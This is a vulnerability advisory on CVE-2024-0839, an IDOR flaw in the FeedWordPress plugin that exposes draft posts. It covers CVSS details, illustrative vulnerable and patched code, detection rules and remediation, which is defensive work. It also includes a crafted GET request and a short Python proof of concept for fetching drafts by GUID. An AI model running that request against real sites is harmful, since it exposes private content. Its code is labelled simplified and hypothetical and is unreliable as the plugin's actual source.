CVE-2024-0839
Executive Summary
CVE-2024-0839 is an Insecure Direct Object Reference (IDOR) vulnerability in the FeedWordPress plugin for WordPress, affecting all versions up to and including 2022.0222. The vulnerability resides in the plugin’s handling of the guid key, which is user-controlled and lacks proper validation. This allows unauthenticated attackers to access draft posts that may contain sensitive information, such as unpublished content, internal notes, or credentials. The vulnerability has a CVSS score of 5.3 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. However, due to the potential for sensitive data exposure, immediate remediation is recommended.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the FeedWordPress plugin within the WordPress ecosystem. It is not related to Apache, Nginx, or any other web server software. The plugin is used to syndicate content from external RSS feeds into WordPress posts, and the flaw allows unauthorized viewing of draft posts.
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: None
- Availability Impact: None
The threat level is considered Medium due to the low complexity and lack of authentication required, but the impact is limited to confidentiality of draft posts.
Deep Dive & Mechanics
The FeedWordPress plugin uses a guid parameter to identify and retrieve syndicated posts. In vulnerable versions, the plugin does not validate whether the user has permission to view the post associated with the provided guid. An unauthenticated attacker can craft a request with a guid value corresponding to a draft post, and the plugin will return the post content without proper authorization checks.
The vulnerability is classified as CWE-639 (Authorization Bypass Through User-Controlled Key). The guid key is typically a unique identifier for each syndicated item, but the plugin fails to enforce access controls when retrieving posts by this key.
Vulnerable vs. Patched Code
Vulnerable Code (simplified):
// In feedwordpress.php or similar
function get_post_by_guid($guid) {
global $wpdb;
$post_id = $wpdb->get_var($wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE guid = %s", $guid));
if ($post_id) {
$post = get_post($post_id);
return $post;
}
return null;
}
The above code does not check if the post is published or if the user has permission to view it.
Patched Code (hypothetical):
function get_post_by_guid($guid) {
global $wpdb;
$post_id = $wpdb->get_var($wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE guid = %s AND post_status = 'publish'", $guid));
if ($post_id) {
$post = get_post($post_id);
return $post;
}
return null;
}
The patched version adds a check for post_status = 'publish' to ensure only published posts are accessible.
Exploitation & Lab Setup
Red Team (Exploitation)
To exploit this vulnerability, an attacker can send a GET request to the WordPress site with a crafted guid parameter. For example:
GET /?feedwordpress&guid=draft-post-guid HTTP/1.1
Host: target-wordpress-site.com
The attacker would need to guess or enumerate valid guid values for draft posts. This can be done by analyzing the plugin’s behavior or using common patterns.
Proof of Concept (Python):
import requests
target = "http://target-wordpress-site.com"
guid = "some-draft-post-guid" # Replace with actual GUID
url = f"{target}/?feedwordpress&guid={guid}"
response = requests.get(url)
if response.status_code == 200 and "draft" in response.text.lower():
print("Vulnerable! Draft post content exposed.")
print(response.text)
else:
print("Not vulnerable or GUID not found.")
Blue Team (Detection & Defense)
- Monitor for unusual requests to
/?feedwordpress&guid=with non-standard GUIDs. - Implement Web Application Firewall (WAF) rules to block requests with suspicious
guidparameters. - Ensure that draft posts are not accessible via direct GUID enumeration by applying proper access controls.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/?feedwordpress&guid=with GUIDs that do not correspond to published posts. - Repeated 200 responses for draft post content from unauthenticated users.
- HTTP requests to
File IOCs:
- Log entries showing access to
/?feedwordpress&guid=from IPs not associated with authenticated users.
- Log entries showing access to
Behavioral IOCs:
- Unusual spikes in requests to the FeedWordPress endpoint.
- Access to draft posts that were never published.
Detection Engineering
YARA Rule
rule CVE_2024_0839_FeedWordPress_IDOR {
meta:
description = "Detects exploitation attempts for CVE-2024-0839 in FeedWordPress plugin"
author = "Valters IT"
date = "2024-01-01"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0839"
strings:
$guid_param = "guid="
$feedwordpress = "feedwordpress"
condition:
$guid_param and $feedwordpress
}
Sigma Rule
title: FeedWordPress IDOR Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-0839 by accessing draft posts via GUID
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "feedwordpress&guid="
condition: selection
falsepositives:
- Legitimate use of FeedWordPress with published posts
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-0839 FeedWordPress IDOR Attempt"; flow:to_server; content:"feedwordpress"; http_uri; content:"guid="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the FeedWordPress plugin until a patch is available.
- Workaround: Implement a custom filter to validate the
guidparameter and restrict access to published posts only. - Long-term: Monitor the plugin’s repository for an official patch and apply it as soon as it is released.
- Detection: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
- Hardening: Ensure that WordPress user roles and capabilities are properly configured to limit access to draft posts.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.